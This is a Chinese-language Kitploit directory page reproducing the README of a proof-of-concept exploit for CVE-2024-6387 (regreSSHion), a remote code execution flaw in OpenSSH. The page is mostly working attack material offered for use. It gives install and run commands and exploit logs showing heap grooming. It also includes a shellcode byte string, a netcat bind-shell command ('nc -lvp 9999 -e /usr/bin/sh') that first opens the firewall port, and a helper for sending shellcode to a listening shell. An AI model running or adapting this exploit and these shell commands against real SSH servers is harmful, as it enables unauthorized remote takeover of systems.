Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2024-6387 — regreSSHion 漏洞利用的概念验证 Python 脚本。 | Kitploit
工具/GitHubGitHub/l-urk/cve-2024-6387
漏洞分析漏洞利用Shellcode网络安全渗透测试远程访问工具Shellcode 生成Payload 开发二进制利用
GitHubl-urk/cve-2024-6387

CVE-2024-6387

regreSSHion 漏洞利用的概念验证 Python 脚本。

查看仓库
125101年前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

CVE-2024-6387 regreSSHion

regreSSHion漏洞利用的概念验证Python脚本。版本0.2.1构建POC regreSSHion-green-banner

安装

root@kitploit:~
git clone https://github.com/l-urk/CVE-2024-6387.git
root@kitploit:~
cd CVE-2024-6387
root@kitploit:~
pip3 install -r requirements.txt
root@kitploit:~
python3 regreSSHion.py -h

用法

root@kitploit:~
🔒 CVE-2024-6387 regreSSHion 远程代码执行漏洞利用脚本

usage: regreSSHion.py [-h] -i IP -p PORT [-t] [-c] [-d] [-r] [-x] [-y] [-z]

🔒 CVE-2024-6387 regreSSHion 远程代码执行漏洞利用脚本

options:
  -h, --help            显示此帮助信息并退出
  -i IP, --ip IP        目标SSH服务器IPv4(格式:-i 0.0.0.0)
  -p PORT, --port PORT  目标SSH服务器端口号(格式:-p 22)
  -t, --time            启用时间显示在所有日志输出上(格式:-t)
  -c, --clear           运行漏洞利用前清除屏幕(格式:-c)
  -d, --debug           启用查看运行时的DEBUG日志输出(格式:-d)
  -r, --repeat          启用重复利用直到RCE成功(格式:-r)
  -x, --skipssh         启用以跳过SSH握手(格式:-x)
  -y, --skipheap        启用以跳过堆解析(格式:-y)
  -z, --skipfinal       启用以跳过最终ID检查(格式:-z)

🔒 受影响的OpenSSH版本:1.2.2p1 ~ 4.4 和 8.5p1 ~ 9.8

🔒 联系方式:github.com/l-urk - x.com/l_urkk

要使用脚本,以python3运行regreSSHion.py

  • 将ip设置为有漏洞的SSH服务器IPv4地址
  • 将port设置为有漏洞的SSH服务器端口号
root@kitploit:~
python3 regreSSHion.py --ip 127.0.0.1 --port 22
root@kitploit:~
2024-08-03 22:42:55,944 - INFOS - Attempting to connect to 127.0.0.1:22 (attempt 1)
2024-08-03 22:42:55,945 - INFOS - Connection established
2024-08-03 22:42:55,945 - INFOS - Performing SSH handshake...
2024-08-03 22:43:05,014 - INFOS - Received KEX_INIT (5 bytes)
2024-08-03 22:43:05,015 - INFOS - SSH handshake successful.
2024-08-03 22:43:05,015 - INFOS - Preparing heap...
2024-08-03 22:43:05,015 - INFOS - Sent tcache chunk 1
2024-08-03 22:43:05,015 - INFOS - Sent tcache chunk 2
2024-08-03 22:43:05,015 - INFOS - Sent tcache chunk 3
2024-08-03 22:43:05,015 - INFOS - Sent tcache chunk 4

假设你一路执行到了脚本的这里...

root@kitploit:~
2024-08-03 22:46:45,858 - INFOS - Sent fake file structure 3
2024-08-03 22:46:45,858 - INFOS - Sent fake file structure 4
2024-08-03 22:46:45,858 - INFOS - Sent fake file structure 5
2024-08-03 22:46:45,858 - INFOS - Sent large string
2024-08-03 22:46:45,858 - INFOS - Heap preparation complete.
2024-08-03 22:47:05,879 - INFOS - Estimated parsing time: 0.000056 seconds
2024-08-03 22:47:05,880 - INFOS - Final packet sent successfully.
2024-08-03 22:47:05,880 - INFOS - Verifying exploit success.
2024-08-03 22:47:15,890 - WARN! - No response received for verification.

如果显示漏洞利用验证成功,说明你已经成功投递并执行了载荷。 脚本会尝试几次以达到成功。 我建议在你自己有漏洞的SSH服务器上尝试,直到你熟悉如何获得成功消息。

root@kitploit:~
2024-08-03 22:47:15,891 - ERROR - Exploitation failed.

调试模式

  • 启用调试模式后,你将获得更详细的输出,这会显示你收到的SSH版本字符串、数据包长度信息以及其他一些内容,基本上所有可能被记录的事件都会展示出来。
root@kitploit:~
python3 regreSSHion.py --ip 127.0.0.1 --port 22 --debug

示例输出:

root@kitploit:~
2024-08-03 22:44:53,962 - DEBUG - Logging is set to DEBUG level
2024-08-03 22:44:53,962 - INFOS - Attempting to connect to 127.0.0.1:22 (attempt 1)
2024-08-03 22:44:53,963 - INFOS - Connection established
2024-08-03 22:44:53,963 - INFOS - Performing SSH handshake...
2024-08-03 22:44:53,963 - DEBUG - Sent SSH version string.
2024-08-03 22:44:53,963 - DEBUG - Waiting to receive SSH version string
2024-08-03 22:45:03,256 - DEBUG - Received SSH version string: SSH-2.0-OpenSSH_8.9p1 Ubuntu-3ubuntu0.1
2024-08-03 22:45:04,373 - INFOS - Received KEX_INIT (4 bytes)
2024-08-03 22:45:04,373 - INFOS - SSH handshake successful.
2024-08-03 22:45:04,373 - INFOS - Preparing heap...

shellcode payload

默认shellcode使用ufw开放入站端口9999,并在端口9999启动一个nc监听shell

root@kitploit:~
    shellcode = b"\x31\xc0\x31\xdb\x31\xc9\x31\xd2\xb0\x66\xb3\x01\x51\x53\x6a\x02\x89\xe1\xcd\x80\x89\xc6\xb0\x66\x31\xdb\xb3\x02\x68\x7f\x00\x00\x01\x66\x68\x27\x0f\x66\x53\x89\xe1\x6a\x10\x51\x56\x89\xe1\xcd\x80\xb0\x66\xb3\x04\x6a\x01\x56\x89\xe1\xcd\x80\xb0\x66\xb3\x05\x56\x56\x89\xe1\xcd\x80\x89\xc3\x31\xc9\xb0\x3f\xcd\x80\xb0\x3f\xb1\x01\xcd\x80\xb0\x3f\xb1\x02\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"

shellcode payload 创建

你可以通过使用ASCII转十六进制编辑器,并手动将其转换为shellcode来制作自己的shellcode载荷。我使用这个ASCII转十六进制网站:https://www.rapidtables.com/convert/number/ascii-to-hex.html

  • 输入你希望用于shellcode的文本。
  • 在输入框中使用设置“User defined”和“\x”。
  • 将所有大写X替换为小写x。
  • 使用记事本或其他支持字符替换的程序。
  • 将末尾的最后一个\x移动到十六进制字符串的开头。
  • 在两端添加引号,以便shell能解释。

shellcode payload 示例

hello world

root@kitploit:~
hello world
root@kitploit:~
"\x68\x65\x6C\x6C\x6F\x20\x77\x6F\x72\x6C\x64"

printf hello world

root@kitploit:~
printf hello world
root@kitploit:~
"\x70\x72\x69\x6E\x74\x66\x20\x68\x65\x6C\x6C\x6F\x20\x77\x6F\x72\x6C\x64"

make test file

root@kitploit:~
test > test
root@kitploit:~
"\x74\x65\x73\x74\x20\x3E\x20\x74\x65\x73\x74"

允许端口9999的入站连接并打开一个端口9999的nc shell

root@kitploit:~
ufw allow 9999 && /usr/bin/nc -lvp 9999 -e /usr/bin/sh
root@kitploit:~
"\x75\x66\x77\x20\x61\x6C\x6C\x6F\x77\x20\x39\x39\x39\x39\x20\x26\x26\x20\x2F\x75\x73\x72\x2F\x62\x69\x6E\x2F\x6E\x63\x20\x2D\x6C\x76\x70\x20\x39\x39\x39\x39\x20\x2D\x65\x20\x2F\x75\x73\x72\x2F\x62\x69\x6E\x2F\x73\x68"

send_socket.py

如果你想测试shellcode载荷的执行,可以使用send_socket.py脚本。 用法:

root@kitploit:~
usage: send_socket.py [-h] [-i IP] [-p PORT] [-s SHELLCODE]

向目标套接字(IP和端口)发送shellcode

options:
  -h, --help            显示此帮助信息并退出
  -i IP, --ip IP        目标IP地址(默认:127.0.0.1)
  -p PORT, --port PORT  目标TCP套接字端口(默认:1111)
  -s SHELLCODE, --shellcode SHELLCODE
                        要发送的shellcode十六进制,格式:\x00\x00\x00\...等(默认:F13)

发送端:

root@kitploit:~
python3 send_socket.py -i 127.0.0.1 -p 1111

监听端:

  • 原始文本解析
root@kitploit:~
nc -lvp 1111
  • shell执行
root@kitploit:~
nc -lvp 1111 -e /usr/bin/bash
下载工具